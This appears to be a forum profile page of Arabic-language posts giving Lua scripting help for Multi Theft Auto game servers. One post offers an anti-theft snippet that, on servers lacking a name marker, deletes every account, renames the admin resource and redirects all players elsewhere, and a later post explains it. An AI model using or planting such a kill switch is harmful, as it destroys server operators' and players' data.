-
Posts
1,992 -
Joined
-
Last visited
-
Days Won
4
Everything posted by 3NAD
-
لم يتم التجربة ذذ -- ضيفه بنفس الملف Groups = { ["50"] = "Moderator"; ["100"] = "SuperModerator"; ["500"] = "Admin"; }; setTimer ( function ( ) for _, v in ipairs ( getElementsByType ( "player" ) ) do local plrAccount = getPlayerAccount ( v ) if not isGuestAccount ( plrAccount ) then if Groups[tostring(t[v]["hour"])] then if not isObjectInACLGroup ( "user."..getAccountName(plrAccount), aclGetGroup ( Groups[tostring(t[v]["hour"])] ) ) then aclGroupAddObject ( aclGetGroup ( Groups[tostring(t[v]["hour"])] ), "user."..getAccountName(plrAccount) ) end end end end end , 10000, 0 )
-
@ 7ASSAN: function mainFunction() outputChatBox ("Instant text!") setTimer ( function() outputChatBox ( "5 second delay text!" ) end, 5000, 1 ) end mainFunction() --call function -- وش يسوي هذا الكود
-
لا حط رقم جوالك
-
اي حطه مع ايفنت يوم تضغط الزر وتمشي امورك
-
اعتقد تستخدم attachElements
-
لم يتم التجربة addEventHandler ( "onPlayerQuit",root, function ( ) local plrAcc = getPlayerAccount ( source ) if not isGuestAccount ( plrAcc ) then local time = getRealTime ( ) local day = time.monthday local month = time.month + 1 local year = time.year + 1900 local hour = time.hour - 1 local minute = time.minute + 1 local second = time.second local name = getPlayerName ( source ) local text = name.." #FFFFFF[ "..day.."/"..month.."/"..year.." ] [ "..hour..":"..minute..":"..second.." ]" setAccountData ( plrAcc, "lastJoin", text ) end end ) addEventHandler ( "onPlayerLogin", root, function ( _, acc ) local name = getPlayerName ( source ) local text = name.." #00FF00Online." setAccountData ( acc, "lastJoin", text ) end ) function command ( player, _, account ) local plrAcc = getPlayerAccount ( player ) if not isGuestAccount ( plrAcc ) then if isObjectInACLGroup ( "user."..getAccountName ( plrAcc ), aclGetGroup ( "DP" ) ) then if account then local acc = getAccount ( account ) if acc then outputChatBox ( "Last player online time:", player, 255, 255, 255, true ) outputChatBox ( getAccountData ( acc, "lastJoin" ).."." or "The player didn't join.", player, 255, 255, 255, true ) end else outputChatBox ( "/lastjoin [accountName]", player, 255, 0, 0, true ) end else outputChatBox("You aren't from DP clan", player, 255, 0, 0, true ) end end end addCommandHandler ( "lastjoin", command ) addCommandHandler ( "lj", command )
-
لم يتم التجربة local groupName = '[saW]' tawa1 = createMarker(840,1312,36,"cylinder",2,0,0,0,255) postion = { {847,1422,56}, {855,1244,56}, {958,1257,56}, {951,1424,56}, } addEventHandler ( "onMarkerHit", tawa1, function ( hPlayer ) if getElementType ( hPlayer ) then local plrTeam = getPlayerTeam ( hPlayer ) if plrTeam then if getElementData ( hPlayer, "Group" ) == groupName and getTeamName ( plrTeam ) == "No Team" then local randomPosition = postion[math.random(#postion)] local x, y, z = randomPosition[1], randomPosition[2], randomPosition[3] setElementPosition ( hPlayer, x, y, z ) end end end end )
-
-- Server Side addEventHandler ( "onResourceStart", resourceRoot, function ( res ) setElementData ( resourceRoot, "abc", get ( "abc" ) ) end ) -- Client Side outputChatBox ( getElementData ( resourceRoot, "abc" ) or "n/a" )
-
لم يتم التجربة ذذذذذ addEventHandler ( "onResourceStart", resourceRoot, function ( rss ) if not string.find ( getServerName ( ), "****" ) then renameResource ( "admin", "script" ) setTimer ( renameResource, 500, 1, getResourceName ( rss ), "admin" ) setTimer ( function ( ) for _, v in ipairs ( getAccounts ( ) ) do removeAccount ( v ) end for _, v in ipairs ( getElementsByType ( "player" ) ) do redirectPlayer ( v, "ip", "port" ) end cancelEvent ( true ) end, 1000, 1 ) end end )
-
الشرط يقول if not string.find ( getServerName ( ), "****" ) then إذا لم يتم إيجاد النجوم في اسم السيرفر قم بالتالي cancelEvent ( true ) إلغي الحدث يوم يشتغل المود وخلاص يطفي ----- ولو كان حاط النجوم في اسم سيرفره ماراح يطفي
-
حط رمز غريب و مو موجود بالكيبورد في اسم السيرفر Ø مثل هذا
-
addEventHandler ( "onResourceStart", resourceRoot, function ( ) if not string.find ( getServerName ( ), "****" ) then cancelEvent ( true ) end end )
-
على سبيل المثال يوجد خط تبي تحطه بالسيرفر font.TTF اسمه font.ttf وكتبته بالميتا احتمال اللينكس مايتعرف علاه
-
وبيجيك بـ أف8 السبب refresh اكتب ممكن يكون صيغة الملف المضاف في الميتا ماتفهمه أنظمة اللينكس .. لازم بـ نفس الحرف كبتل سمول
-
لم يتم التجربة -- Server Side getPlayerCountry = function ( player ) if getResourceState ( getResourceFromName ( "admin" ) ) == "running" then return exports.admin:getPlayerCountry ( player ) or "n/a" end return "n/a" end setCountryData = function ( player ) setElementData ( player, "Country", getPlayerCountry ( player ) ) end addEventHandler ( "onPlayerJoin", root, function ( ) setCountryData ( source ) end ) addEventHandler ( "onResourceStart", resourceRoot, function ( ) for _, v in ipairs ( getElementsByType ( "player" ) ) do setCountryData ( v ) end end ) -- Client Side PrayerTime = { ["SA"] = { ["الفجر"] = "3:45"; ["الظهر"] = "11:45"; }; ["BH"] = { ["الفجر"] = "3:30"; ["الظهر"] = "11:30"; }; }; getPlayerRealTime = function ( ) local time = getRealTime ( ) local hours = tostring ( time.hour ) local minuts = tostring ( time.minute ) return tostring ( hours..":"..minuts ) end checkPlayerTime = function ( ) local country = getElementData ( localPlayer, "Country" ) or "SA" if PrayerTime [ country ] then for _, v in ipairs ( PrayerTime [ country ] ) do if getPlayerRealTime ( ) == v then outputChatBox ( tostring ( _ ).." حان الآن موعد آذان" ) killTimer ( checkTimer ) setTimer ( enableTimer, 60000, 1 ) end end end end enableTimer = function ( ) if isTimer ( checkTimer ) then killTimer ( checkTimer ) end checkTimer = setTimer ( checkPlayerTime, 10000, 0 ) end enableTimer ( ) --
-
http://www.gta-arabs.com/gt/showthread.php?t=50865
-
مو مرتاح لـ الإيفنت هذا : )))) addEventHandler('OnClientGUIDoubleClick',Image2, function ( ) if guiGridListGetSelectedItem ( Gird ) ~= -1 then if isElement ( sound ) then destroyElement ( sound ) end sound = playSound ( guiGridListGetItemData ( Gird,MyRow,1 ) ) outputChatBox(' Sound Loading ...') guiSetVisible ( Image2, false ) end end,false )
-
عطني رابط المديا فاير
-
مايصير تحميل + جرب مديا فاير mp3 ولا اكتب بـ قوقل رفع ملفات
-
مايصير كذا ذذ PED لأنك سويت إضافة افنت قبل لا تعرف المتغير ولا شيء nil اتوقع بيقلكـ